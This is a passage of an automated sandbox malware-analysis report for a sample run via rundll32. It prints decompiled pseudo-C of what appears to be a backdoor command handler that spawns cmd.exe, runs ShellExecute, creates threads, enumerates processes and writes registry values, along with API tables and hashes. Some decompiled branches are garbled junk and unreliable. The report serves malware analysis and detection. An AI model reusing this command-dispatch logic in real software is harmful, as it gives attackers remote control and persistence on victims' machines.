									 *0xfd6601 = _t62;
									 *0xfd65fd = _t51;
									LeaveCriticalSection(0xfd6714);
								}
								return _t65;
							}
						}
					} else {
						return _t65;
					}
				}
			}

0x00fc20b0
0x00fc20b0
0x00fc20b6
0x00fc20c5
0x00fc20cc
0x00fc20cd
0x00fc20ce
0x00fc20d5
0x00fc20e7
0x00fc20ee
0x00fc20f9
0x00fc20fe
0x00fc2102
0x00fc2105
0x00fc2109
0x00fc2112
0x00fc2120
0x00fc2139
0x00fc2142
0x00fc2148
0x00fc2150
0x00fc2156
0x00fc215e
0x00fc2166
0x00fc216e
0x00fc2176
0x00fc2183
0x00fc21e3
0x00000000
0x00fc2185
0x00fc2185
0x00fc218b
0x00fc21a9
0x00fc21ad
0x00fc21b1
0x00fc21b7
0x00fc21b7
0x00fc21bc
0x00fc21bc
0x00fc21c2
0x00fc21c8
0x00fc21cb
0x00fc21cb
0x00fc21d1
0x00fc21d7
0x00fc21e5
0x00fc21e6
0x00fc21ec
0x00fc21fe
0x00fc2205
0x00fc2285
0x00fc2207
0x00fc2207
0x00fc2211
0x00fc221a
0x00fc227a
0x00fc2220
0x00fc2220
0x00fc2228
0x00fc222c
0x00fc2231
0x00fc223e
0x00fc2249
0x00fc2250
0x00fc2256
0x00fc225c
0x00fc225c
0x00fc226e
0x00fc226e
0x00fc221a
0x00fc21d9
0x00fc21e2
0x00fc21e2
0x00fc21d7

APIs

Part of subcall function 00FC1220: wvsprintfW.USER32(?,?,?), ref: 00FC122D

CreateProcessW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000), ref: 00FC217B
CreateJobObjectW.KERNEL32 ref: 00FC219D
AssignProcessToJobObject.KERNEL32 ref: 00FC21B1
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00FC21BC
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00FC21CB
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00FC21E6
lstrlenW.KERNEL32(00000000,?,?,?,?,?,C:\Windows\system32\cmd.exe,?,00FD8514,00FCF2D8), ref: 00FC2209
EnterCriticalSection.KERNEL32(00FD6714,?,?,?,?,?,?,?,C:\Windows\system32\cmd.exe,?,00FD8514,00FCF2D8), ref: 00FC223E
LeaveCriticalSection.KERNEL32(00FD6714,?,?,?,?,?,?,?,C:\Windows\system32\cmd.exe,?,00FD8514,00FCF2D8), ref: 00FC225C

Strings

D, xrefs: 00FC2156
d06ed635, xrefs: 00FC215E
C:\Windows\system32\cmd.exe, xrefs: 00FC20DB

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: CloseCreateCriticalHandleObjectProcessSection$AssignEnterErrorLastLeavelstrlenwvsprintf
String ID: C:\Windows\system32\cmd.exe$D$d06ed635
API String ID: 588855707-3024436829
Opcode ID: aa6bfda4d8b54bfa2946135d8d11f524f8e3c37c7e1b23871c838beaff13f054
Instruction ID: b1ec6195f6b3e5ff15957f8c26dc3b6f3000460c9b07fedb8154d66630a5520d
Opcode Fuzzy Hash: aa6bfda4d8b54bfa2946135d8d11f524f8e3c37c7e1b23871c838beaff13f054
Instruction Fuzzy Hash: 6041BD75A043059FE7108F64DD45F6BBBE9FB88B14F08092EF988C2250EB76D844AB52

Uniqueness

Uniqueness Score: -1.00%

Function 00FC9400 Relevance: 18.2, APIs: 12, Instructions: 218
stringthreadCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E00FC9400(void* __ecx, signed int __edx, void* __ebp) {
				short _v1028;
				short _v2052;
				WCHAR* _v2312;
				int _v2316;
				char _v2320;
				long _v2328;
				struct _SECURITY_ATTRIBUTES* _v2332;
				struct _SECURITY_ATTRIBUTES* _v2336;
				struct _SECURITY_ATTRIBUTES* _v2340;
				int _v2356;
				char _v2364;
				void* _v2376;
				short _v2880;
				intOrPtr _v2908;
				char* _v2912;
				void* _v2916;
				WCHAR* _v2920;
				signed int _t84;

				_t84 = (__edx & 0x000000ff) - 1;
				if(_t84 > 0x10) {
					L59:
					return 1;
				} else {
					switch( *((intOrPtr*)(_t84 * 4 +  &M00FC9914))) {
						case 0:
							if( *0xfd63e4 != 0) {
								E00FC6E70(__ecx);
							}
							_t87 = CreateThread(0, 0, E00FC67F0,  *0xfd6544, 0,  &_v2328);
							if(_t87 == 0) {
								goto L59;
							} else {
								 *0xfd63e4 = _t87;
								return 1;
							}
							goto L71;
						case 1:
							__ecx = 0xfd6708;
							E00FC7B00(0xfd6708) = 1;
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							__esp = __esp + 0x928;
							return 1;
							goto L71;
						case 2:
							ExitProcess(0);
						case 3:
							__eax =  &_v2336;
							_v2340 = 0;
							__eax =  &_v2340;
							_v2336 = 0;
							__edx =  &_v1028;
							__eax = E00FC8C70(__ecx,  &_v1028, __eflags, 0x200, 0,  &_v2340,  &_v2336);
							__eflags = __eax;
							if(__eax == 0) {
								_push(_v2336);
								__ecx =  &_v1028;
								_push(_v2340);
								goto L13;
							} else {
								 &_v1028 = lstrcatW( &_v1028,  *0xfd6910);
								__eax =  &_v1028;
								__eax = lstrlenW( &_v1028);
								__esi = __eax;
								__esi = __eax + __eax;
								__eflags =  *0xfd672c;
								if( *0xfd672c == 0) {
									goto L59;
								} else {
									__eflags = __esi;
									if(__esi == 0) {
										goto L59;
									} else {
										__ecx = __esi;
										__edi = E00FC11D0(__esi);
										__eflags = __edi;
										if(__edi == 0) {
											goto L59;
										} else {
											_push(__esi);
											__eax =  &_v1028;
											_push( &_v1028);
											goto L18;
										}
									}
								}
							}
							goto L71;
						case 4:
							__eax =  &_v2340;
							_v2336 = 0;
							__eax =  &_v2336;
							_v2340 = 0;
							__edx =  &_v2052;
							__eax = E00FC8C70(__ecx,  &_v2052, __eflags, 0x200, 1,  &_v2336,  &_v2340);
							__eflags = __eax;
							if(__eax == 0) {
								__edx = _v2336;
								__eax = _v2340;
								goto L28;
							} else {
								__eax =  &_v2052;
								__eax = ShellExecuteW(0,  *0xfd6760,  &_v2052, 0, 0, 1);
								__edx = _v2336;
								__ecx = 0x20;
								__eflags = 0x20 - __eax;
								__esi = 0x70;
								asm("sbb ecx, ecx");
								__eflags = __eax - 0x20;
								__edx =  <=  ? 0x70 : _v2336;
								__ecx =  ~0x20;
								if(__eax == 0x20) {
									L28:
									_push(__eax);
									_push(__edx);
									__ecx =  &_v2052;
									L13:
									__edx =  *0xfd6908; // 0xfd866e
									__ebx = E00FC40D0(__ecx, __edx);
									__esp = __esp + 8;
									__eflags = __ebx;
									if(__ebx == 0) {
										goto L59;
									} else {
										__eax = lstrlenW(__ebx);
										__esi = __eax;
										__esi = __eax + __eax;
										__eflags =  *0xfd672c;
										if( *0xfd672c == 0) {
											goto L59;
										} else {
											__eflags = __esi;
											if(__esi == 0) {
												goto L59;
											} else {
												__ecx = __esi;
												__edi = E00FC11D0(__esi);
												__eflags = __edi;
												if(__edi == 0) {
													goto L59;
												} else {
													_push(__esi);
													_push(__ebx);
													goto L18;
												}
											}
										}
									}
								} else {
									 &_v2052 = lstrcatW( &_v2052,  *0xfd6910);
									__eax =  &_v2052;
									__eax = lstrlenW( &_v2052);
									__esi = __eax;
									__esi = __eax + __eax;
									__eflags =  *0xfd672c;
									if( *0xfd672c == 0) {
										goto L59;
									} else {
										__eflags = __esi;
										if(__esi == 0) {
											goto L59;
										} else {
											__ecx = __esi;
											__edi = E00FC11D0(__esi);
											__eflags = __edi;
											if(__edi == 0) {
												goto L59;
											} else {
												_push(__esi);
												__eax =  &_v2052;
												_push( &_v2052);
												L18:
												_push(__edi);
												__eax = E00FC1000();
												__esp = __esp + 0xc;
												EnterCriticalSection(0xfd6714);
												 *0xfd6708 = 6;
												 *0xfd6709 = __edi;
												goto L20;
											}
										}
									}
								}
							}
							goto L71;
						case 5:
							E00FC8F20(__ecx, __eflags) = 1;
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							__esp = __esp + 0x928;
							return 1;
							goto L71;
						case 6:
							__eax =  &_v2340;
							_v2336 = 0;
							_push( &_v2340);
							__eax =  &_v2336;
							_v2340 = 0;
							_push( &_v2336);
							__eax =  &_v2320;
							__edx =  &_v2328;
							__eax = E00FC8A70(__ecx,  &_v2328,  &_v2320);
							__eflags = __eax;
							if(__eax == 0) {
								goto L59;
							} else {
								__eax =  &_v2340;
								_push( &_v2340);
								_push(0);
								_push(_v2328);
								_push(E00FC93A0);
								goto L33;
							}
							goto L71;
						case 7:
							E00FC3620();
							_pop(ds);
							_t56 = __eax;
							__eax = __esp;
							__esp = _t56;
							asm("cld");
							 *((intOrPtr*)(__edi - 0x6c)) =  *((intOrPtr*)(__edi - 0x6c)) + __ah;
							asm("cld");
							 *__ecx =  *__ecx + __bl;
							_t59 = __eax;
							__eax = __edi;
							__edi = _t59;
							asm("cld");
							 *((intOrPtr*)(__eax - 0x59ff036c)) =  *((intOrPtr*)(__eax - 0x59ff036c)) + __al;
							_t62 = __eax;
							__eax = __ebp;
							__ebp = _t62;
							asm("cld");
							 *((intOrPtr*)(__esi - 0x51ff036a)) =  *((intOrPtr*)(__esi - 0x51ff036a)) + __al;
							_t65 = __eax;
							__eax = __esi;
							__esi = _t65;
							asm("cld");
							 *0xfe00fc99 =  *0xfe00fc99 + __cl;
							__eflags =  *0xfe00fc99;
							__eax = __eax | 0xfe00fc99;
							asm("cld");
							__dh = __dh + __bh;
							asm("cld");
							__dh = __dh + __bh;
							asm("cld");
							__dh = __dh + __bh;
							asm("cld");
							__dh = __dh + __bh;
							asm("cld");
							 *__ecx =  *__ecx + __ah;
							_t66 = __eax;
							__eax = __edi;
							__edi = _t66;
							asm("cld");
							 *((intOrPtr*)(__edx - 0x27ff036a)) =  *((intOrPtr*)(__edx - 0x27ff036a)) + __bl;
							asm("cld");
							 *((intOrPtr*)(__eax + __ebx * 4 - 0x3333ff04)) =  *((intOrPtr*)(__eax + __ebx * 4 - 0x3333ff04)) + __al;
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							__esp = __esp - 0x230;
							_push(__ebp);
							_push(__esi);
							_push(__edi);
							__ebp = 0;
							_v2912 = __edx;
							__edi = __ecx;
							__esi = CreateToolhelp32Snapshot(2, 0);
							__eflags = __esi - 0xffffffff;
							if(__esi != 0xffffffff) {
								__eax =  &_v2912;
								_v2912 = 0x22c;
								_push( &_v2912);
								__eax = Process32FirstW(__esi);
								__eflags = __eax;
								if(__eax == 0) {
									L70:
									__eax = CloseHandle(__esi);
									_pop(__edi);
									_pop(__esi);
									__eax = __ebp;
									_pop(__ebp);
									__esp = __esp + 0x230;
									return __ebp;
								} else {
									_push(__ebx);
									__ebx = Process32NextW;
									while(1) {
										__eflags = _v2908 - __edi;
										if(_v2908 == __edi) {
											break;
										}
										__eax =  &_v2916;
										__eax = Process32NextW(__esi,  &_v2916);
										__eflags = __eax;
										if(__eax != 0) {
											continue;
										} else {
											_pop(__ebx);
											__eax = CloseHandle(__esi);
											_pop(__edi);
											_pop(__esi);
											__eax = __ebp;
											_pop(__ebp);
											__esp = __esp + 0x230;
											return __ebp;
										}
										goto L71;
									}
									 &_v2880 = lstrcpynW(_v2920,  &_v2880, _v2356);
									__ebp = 1;
									_pop(__ebx);
									goto L70;
								}
							} else {
								_pop(__edi);
								_pop(__esi);
								__eax = 0;
								__eflags = 0;
								_pop(__ebp);
								__esp = __esp + 0x230;
								return 0;
							}
							goto L71;
						case 8:
							goto L59;
						case 9:
							_push(4);
							__eax =  &_v2320;
							_push( &_v2320);
							__eax = E00FC1760(__ebx);
							__eflags = __eax;
							if(__eax == 0) {
								L46:
								__edi =  *0xfd6908;
								__eflags = __edi;
								if(__edi == 0) {
									goto L59;
								} else {
									__eax = lstrlenW(__edi);
									__esi = __eax;
									__esi = __eax + __eax;
									__eflags =  *0xfd672c;
									if( *0xfd672c == 0) {
										goto L59;
									} else {
										__eflags = __esi;
										if(__esi == 0) {
											goto L59;
										} else {
											__ecx = __esi;
											__ebx = E00FC11D0(__esi);
											__eflags = __ebx;
											if(__ebx == 0) {
												goto L59;
											} else {
												__eax = E00FC1000(__ebx, __edi, __esi);
												EnterCriticalSection(0xfd6714);
												 *0xfd6708 = 6;
												 *0xfd6709 = __ebx;
												L20:
												 *0xfd670d = __esi;
												LeaveCriticalSection(0xfd6714);
												__eax = 1;
												_pop(__edi);
												_pop(__esi);
												_pop(__ebx);
												__esp = __esp + 0x928;
												return 1;
											}
										}
									}
								}
							} else {
								__eax =  &_v2336;
								_v2336 = 0x1e;
								_push( &_v2336);
								_push(0);
								_push(0);
								__eax =  &_v2316;
								_v2332 = 0;
								_push( &_v2316);
								_push(__ebx);
								_v2312 = __ebx;
								__edi =  &_v2328;
								_v2316 = 1;
								__esi = 6;
								__eax =  *0xfd7724();
								__eflags = __eax - 1;
								if(__eax == 1) {
									while(1) {
										_push(0);
										_push(__esi);
										_push(__edi);
										_push(__ebx);
										__eax =  *0xfd76f8();
										__eflags = __eax;
										if(__eax <= 0) {
											goto L46;
										}
										__edi =  &(__edi[__eax]);
										__esi = __esi - __eax;
										__eflags = __esi;
										if(__esi != 0) {
											continue;
										} else {
											__edi =  *0xfd6bb4;
											__eax =  &_v2376;
											__eax = RegOpenKeyExA(0x80000001,  *0xfd6bac, __esi, 2,  &_v2376);
											__eflags = __eax;
											if(__eax == 0) {
												__eax =  &_v2364;
												RegSetValueExA(_v2376, __edi, __esi, 3,  &_v2364, 6) =  ~__eax;
												asm("sbb esi, esi");
												__esi = __esi + 1;
												__eflags = __esi;
												__eax = RegCloseKey(_v2376);
											}
											__eflags = __esi;
											if(__esi == 0) {
												goto L46;
											} else {
												__esi = LocalAlloc(0, 4);
												__eflags = __esi;
												if(__esi == 0) {
													goto L59;
												} else {
													__eax =  &_v2364;
													 *__esi = 0;
													E00FC1000(__esi,  &_v2364, 6) =  &_v2356;
													_push( &_v2356);
													_push(0);
													_push(__esi);
													_push(E00FC7070);
													L33:
													__eax = CreateThread(0, 0, ??, ??, ??, ??);
													__eflags = __eax;
													if(__eax == 0) {
														goto L59;
													} else {
														__eax = 1;
														_pop(__edi);
														_pop(__esi);
														_pop(__ebx);
														__esp = __esp + 0x928;
														return 1;
													}
												}
											}
										}
										goto L71;
									}
								}
								goto L46;
							}
							goto L71;
						case 0xa:
							E00FC9140(__ecx) = 1;
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							__esp = __esp + 0x928;
							return 1;
							goto L71;
						case 0xb:
							__edx =  *0xfd6bac; // 0xfd9daf
							_push(__ecx);
							__ecx = 0x80000001;
							 *0xfd6608 = 0;
							E00FC1450(__edx,  *0xfd6bb8) = E00FC7720();
							goto L59;
						case 0xc:
							__eflags =  *0xfd6608;
							__eflags = __eax - 0xfd6608;
							_t50 = __ecx + __esi * 2 - 0x75;
							 *_t50 =  *(__ecx + __esi * 2 - 0x75) + __dh;
							__eflags =  *_t50;
					}
				}
				L71:
			}

0x00fc9409
0x00fc9412
0x00fc98fe
0x00fc990c
0x00fc9418
0x00fc9418
0x00000000
0x00fc9426
0x00fc942a
0x00fc942a
0x00fc9445
0x00fc944d
0x00000000
0x00fc9453
0x00fc9453
0x00fc9466
0x00fc9466
0x00000000
0x00000000
0x00fc9467
0x00fc9471
0x00fc9476
0x00fc9477
0x00fc9478
0x00fc9479
0x00fc947f
0x00000000
0x00000000
0x00fc971b
0x00000000
0x00fc9480
0x00fc9484
0x00fc948d
0x00fc9491
0x00fc94a1
0x00fc94a8
0x00fc94b0
0x00fc94b2
0x00fc950b
0x00fc950f
0x00fc9516
0x00000000
0x00fc94b4
0x00fc94c2
0x00fc94c8
0x00fc94d0
0x00fc94d6
0x00fc94d8
0x00fc94da
0x00fc94e1
0x00000000
0x00fc94e7
0x00fc94e7
0x00fc94e9
0x00000000
0x00fc94ef
0x00fc94ef
0x00fc94f6
0x00fc94f8
0x00fc94fa
0x00000000
0x00fc9500
0x00fc9500
0x00fc9501
0x00fc9508
0x00000000
0x00fc9508
0x00fc94fa
0x00fc94e9
0x00fc94e1
0x00000000
0x00000000
0x00fc95a6
0x00fc95aa
0x00fc95b3
0x00fc95b7
0x00fc95c7
0x00fc95ce
0x00fc95d6
0x00fc95d8
0x00fc9670
0x00fc9674
0x00000000
0x00fc95de
0x00fc95e4
0x00fc95f4
0x00fc95fa
0x00fc95fe
0x00fc9603
0x00fc9605
0x00fc960a
0x00fc960c
0x00fc960f
0x00fc9612
0x00fc9614
0x00fc9678
0x00fc9678
0x00fc9679
0x00fc967a
0x00fc951a
0x00fc951a
0x00fc9525
0x00fc9527
0x00fc952a
0x00fc952c
0x00000000
0x00fc9532
0x00fc9533
0x00fc9539
0x00fc953b
0x00fc953d
0x00fc9544
0x00000000
0x00fc954a
0x00fc954a
0x00fc954c
0x00000000
0x00fc9552
0x00fc9552
0x00fc9559
0x00fc955b
0x00fc955d
0x00000000
0x00fc9563
0x00fc9563
0x00fc9564
0x00000000
0x00fc9564
0x00fc955d
0x00fc954c
0x00fc9544
0x00fc9616
0x00fc9624
0x00fc962a
0x00fc9632
0x00fc9638
0x00fc963a
0x00fc963c
0x00fc9643
0x00000000
0x00fc9649
0x00fc9649
0x00fc964b
0x00000000
0x00fc9651
0x00fc9651
0x00fc9658
0x00fc965a
0x00fc965c
0x00000000
0x00fc9662
0x00fc9662
0x00fc9663
0x00fc966a
0x00fc9565
0x00fc9565
0x00fc9566
0x00fc956b
0x00fc9573
0x00fc9579
0x00fc9580
0x00000000
0x00fc9580
0x00fc965c
0x00fc964b
0x00fc9643
0x00fc9614
0x00000000
0x00000000
0x00fc968b
0x00fc9690
0x00fc9691
0x00fc9692
0x00fc9693
0x00fc9699
0x00000000
0x00000000
0x00fc96ae
0x00fc96b2
0x00fc96ba
0x00fc96bb
0x00fc96bf
0x00fc96c7
0x00fc96c8
0x00fc96cd
0x00fc96d1
0x00fc96d9
0x00fc96db
0x00000000
0x00fc96e1
0x00fc96e1
0x00fc96e5
0x00fc96e6
0x00fc96e8
0x00fc96ec
0x00000000
0x00fc96ec
0x00000000
0x00000000
0x00fc990d
0x00fc9914
0x00fc9915
0x00fc9915
0x00fc9915
0x00fc9916
0x00fc9917
0x00fc991a
0x00fc991b
0x00fc991d
0x00fc991d
0x00fc991d
0x00fc991e
0x00fc991f
0x00fc9925
0x00fc9925
0x00fc9925
0x00fc9926
0x00fc9927
0x00fc992d
0x00fc992d
0x00fc992d
0x00fc992e
0x00fc992f
0x00fc992f
0x00fc9930
0x00fc9936
0x00fc9937
0x00fc993a
0x00fc993b
0x00fc993e
0x00fc993f
0x00fc9942
0x00fc9943
0x00fc9946
0x00fc9947
0x00fc9949
0x00fc9949
0x00fc9949
0x00fc994a
0x00fc994b
0x00fc9952
0x00fc9953
0x00fc995a
0x00fc995b
0x00fc995c
0x00fc995d
0x00fc995e
0x00fc995f
0x00fc9960
0x00fc9966
0x00fc9967
0x00fc9968
0x00fc9969
0x00fc996b
0x00fc9972
0x00fc997a
0x00fc997c
0x00fc997f
0x00fc998d
0x00fc9991
0x00fc9999
0x00fc999b
0x00fc99a1
0x00fc99a3
0x00fc99f2
0x00fc99f3
0x00fc99f9
0x00fc99fa
0x00fc99fb
0x00fc99fd
0x00fc99fe
0x00fc9a04
0x00fc99a5
0x00fc99a5
0x00fc99a6
0x00fc99b0
0x00fc99b0
0x00fc99b4
0x00000000
0x00000000
0x00fc99b6
0x00fc99bc
0x00fc99be
0x00fc99c0
0x00000000
0x00fc99c2
0x00fc99c2
0x00fc99c4
0x00fc99ca
0x00fc99cb
0x00fc99cc
0x00fc99ce
0x00fc99cf
0x00fc99d5
0x00fc99d5
0x00000000
0x00fc99c0
0x00fc99e6
0x00fc99ec
0x00fc99f1
0x00000000
0x00fc99f1
0x00fc9981
0x00fc9981
0x00fc9982
0x00fc9983
0x00fc9983
0x00fc9985
0x00fc9986
0x00fc998c
0x00fc998c
0x00000000
0x00000000
0x00000000
0x00000000
0x00fc9721
0x00fc9723
0x00fc9727
0x00fc9729
0x00fc9731
0x00fc9733
0x00fc981d
0x00fc981d
0x00fc9823
0x00fc9825
0x00000000
0x00fc982b
0x00fc982c
0x00fc9832
0x00fc9834
0x00fc9836
0x00fc983d
0x00000000
0x00fc9843
0x00fc9843
0x00fc9845
0x00000000
0x00fc984b
0x00fc984b
0x00fc9852
0x00fc9854
0x00fc9856
0x00000000
0x00fc985c
0x00fc985f
0x00fc986c
0x00fc9872
0x00fc9879
0x00fc9586
0x00fc958b
0x00fc9591
0x00fc9597
0x00fc959c
0x00fc959d
0x00fc959e
0x00fc959f
0x00fc95a5
0x00fc95a5
0x00fc9856
0x00fc9845
0x00fc983d
0x00fc9739
0x00fc9739
0x00fc973d
0x00fc9745
0x00fc9746
0x00fc9748
0x00fc974a
0x00fc974e
0x00fc9756
0x00fc9757
0x00fc9758
0x00fc975c
0x00fc9760
0x00fc9768
0x00fc976d
0x00fc9773
0x00fc9776
0x00fc9780
0x00fc9780
0x00fc9782
0x00fc9783
0x00fc9784
0x00fc9785
0x00fc978b
0x00fc978d
0x00000000
0x00000000
0x00fc9793
0x00fc9795
0x00fc9795
0x00fc9797
0x00000000
0x00fc9799
0x00fc9799
0x00fc979f
0x00fc97b2
0x00fc97b8
0x00fc97ba
0x00fc97be
0x00fc97d5
0x00fc97d7
0x00fc97d9
0x00fc97d9
0x00fc97da
0x00fc97da
0x00fc97e0
0x00fc97e2
0x00000000
0x00fc97e4
0x00fc97ee
0x00fc97f0
0x00fc97f2
0x00000000
0x00fc97f8
0x00fc97fa
0x00fc97fe
0x00fc980b
0x00fc980f
0x00fc9810
0x00fc9812
0x00fc9813
0x00fc96f1
0x00fc96f5
0x00fc96fb
0x00fc96fd
0x00000000
0x00fc9703
0x00fc970a
0x00fc970f
0x00fc9710
0x00fc9711
0x00fc9712
0x00fc9718
0x00fc9718
0x00fc96fd
0x00fc97f2
0x00fc97e2
0x00000000
0x00fc9797
0x00fc9780
0x00000000
0x00fc9776
0x00000000
0x00000000
0x00fc969f
0x00fc96a4
0x00fc96a5
0x00fc96a6
0x00fc96a7
0x00fc96ad
0x00000000
0x00000000
0x00fc98d8
0x00fc98de
0x00fc98e5
0x00fc98ea
0x00fc98f9
0x00000000
0x00000000
0x00fc9884
0x00fc9885
0x00fc988a
0x00fc988a
0x00fc988a
0x00000000
0x00fc9418
0x00000000

APIs

CreateThread.KERNEL32 ref: 00FC9445
lstrcatW.KERNEL32(?), ref: 00FC94C2
lstrlenW.KERNEL32(?), ref: 00FC94D0
lstrlenW.KERNEL32(00000000), ref: 00FC9533
EnterCriticalSection.KERNEL32(00FD6714), ref: 00FC9573
LeaveCriticalSection.KERNEL32(00FD6714), ref: 00FC9591
ShellExecuteW.SHELL32(00000000,?,00000000,00000000,00000001), ref: 00FC95F4
lstrcatW.KERNEL32(?), ref: 00FC9624
lstrlenW.KERNEL32(?), ref: 00FC9632
CreateThread.KERNEL32 ref: 00FC96F5
CloseHandle.KERNEL32(00000000), ref: 00FC9704
ExitProcess.KERNEL32 ref: 00FC971B

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: lstrlen$CreateCriticalSectionThreadlstrcat$CloseEnterExecuteExitHandleLeaveProcessShell
String ID:
API String ID: 498541711-0
Opcode ID: 8f97250a0e8006afd64a034f1c6937a622254b09a203edf806d7a65f3a9d2895
Instruction ID: aff77cf0dfab46bfebf8e61ddd72ad6dfe8f864ddf5fdbd299a4a83a59b244c0
Opcode Fuzzy Hash: 8f97250a0e8006afd64a034f1c6937a622254b09a203edf806d7a65f3a9d2895
Instruction Fuzzy Hash: 0D71097260830A9BD7209B14EE4AF9B73D9EB84710F44043EF904D3291DBB9D909E7B2

Uniqueness

Uniqueness Score: -1.00%

Function 00FC1D40 Relevance: 18.1, APIs: 12, Instructions: 102
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00FC1D40() {
				char _v260;
				char _v360;
				int _v364;
				long _v368;
				void* _v372;
				void* _v376;
				long _t29;
				long _t31;
				int _t50;
				int _t58;
				void* _t61;
				void** _t67;
				void* _t71;

				_t67 =  &_v376;
				_t29 = RegOpenKeyExA(0x80000001,  *0xfd6b80, 0, 0xf003f,  &_v372);
				if(_t29 != 0) {
					return _t29;
				}
				_t58 = 0;
				_t31 = RegEnumKeyA(_v372, 0,  &_v360, 0x64);
				if(_t31 != 0) {
					L10:
					return _t31;
				} else {
					_t61 = lstrcatA;
					do {
						_v364 = lstrlenA( &_v360);
						lstrcatA( &_v360,  *0xfd6b8c);
						_v368 = 0x104;
						if(RegOpenKeyExA(_v372,  &_v360, 0, 0x20019,  &_v376) == 0) {
							RegQueryValueA(_v376, 0,  &_v260,  &_v368);
							asm("sbb esi, esi");
							RegCloseKey(_v376);
							_t71 = _t61 + 1;
							_t61 = lstrcatA;
							if(_t71 != 0 && _v368 != 0) {
								 *((char*)(_t67 + _v364 + 0x24)) = 0;
								lstrcatA( &_v360,  *0xfd6b88);
								_t50 = RegOpenKeyExA(_v372,  &_v360, 0, 0x20006,  &_v376);
								if(_t50 == 0) {
									RegSetValueA(_v376, 0, 1,  &_v260, _t50);
									RegCloseKey(_v376);
								}
							}
						}
						_t58 = _t58 + 1;
						_t31 = RegEnumKeyA(_v372, _t58,  &_v360, 0x64);
					} while (_t31 == 0);
					goto L10;
				}
			}

0x00fc1d40
0x00fc1d5d
0x00fc1d65
0x00fc1e8f
0x00fc1e8f
0x00fc1d7a
0x00fc1d81
0x00fc1d85
0x00fc1e87
0x00000000
0x00fc1d8b
0x00fc1d93
0x00fc1da0
0x00fc1db1
0x00fc1dba
0x00fc1dc0
0x00fc1de1
0x00fc1dfa
0x00fc1e06
0x00fc1e08
0x00fc1e0a
0x00fc1e0d
0x00fc1e13
0x00fc1e26
0x00fc1e30
0x00fc1e47
0x00fc1e4f
0x00fc1e62
0x00fc1e6c
0x00fc1e6c
0x00fc1e4f
0x00fc1e13
0x00fc1e74
0x00fc1e7b
0x00fc1e7d
0x00000000
0x00fc1e86

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,000F003F,?), ref: 00FC1D5D
RegEnumKeyA.ADVAPI32(?,00000000,?,00000064), ref: 00FC1D81
lstrlenA.KERNEL32(?), ref: 00FC1DA5
lstrcatA.KERNEL32(?), ref: 00FC1DBA
RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 00FC1DD9
RegQueryValueA.ADVAPI32(?,00000000,?,00000104), ref: 00FC1DFA
RegCloseKey.ADVAPI32(?), ref: 00FC1E08
lstrcatA.KERNEL32(00000000), ref: 00FC1E30
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020006,?), ref: 00FC1E47
RegSetValueA.ADVAPI32(?,00000000,00000001,?,00000000), ref: 00FC1E62
RegCloseKey.ADVAPI32(?), ref: 00FC1E6C
RegEnumKeyA.ADVAPI32(?,00000001,?,00000064), ref: 00FC1E7B

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: Open$CloseEnumValuelstrcat$Querylstrlen
String ID:
API String ID: 2689507121-0
Opcode ID: be622a84479b8e4d1125b7349d2e15884e75f49749828973aa3011ebca7bf957
Instruction ID: 83bc0d51cb53f5bd5df4b94b865f47de3a727d6f42b24ec01dd5fe8cb3fc45fa
Opcode Fuzzy Hash: be622a84479b8e4d1125b7349d2e15884e75f49749828973aa3011ebca7bf957
Instruction Fuzzy Hash: 39310C72544309AFD710CB61DD45FABBBEDFB88714F04092AFA84D20A1D731E958EB52

Uniqueness

Uniqueness Score: -1.00%

Function 00FC67F0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 93
threadsleepCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00FC67F0(void* __ebx, void* __edi, void* _a4) {
				long _v4;
				void* __ecx;
				WCHAR* _t3;
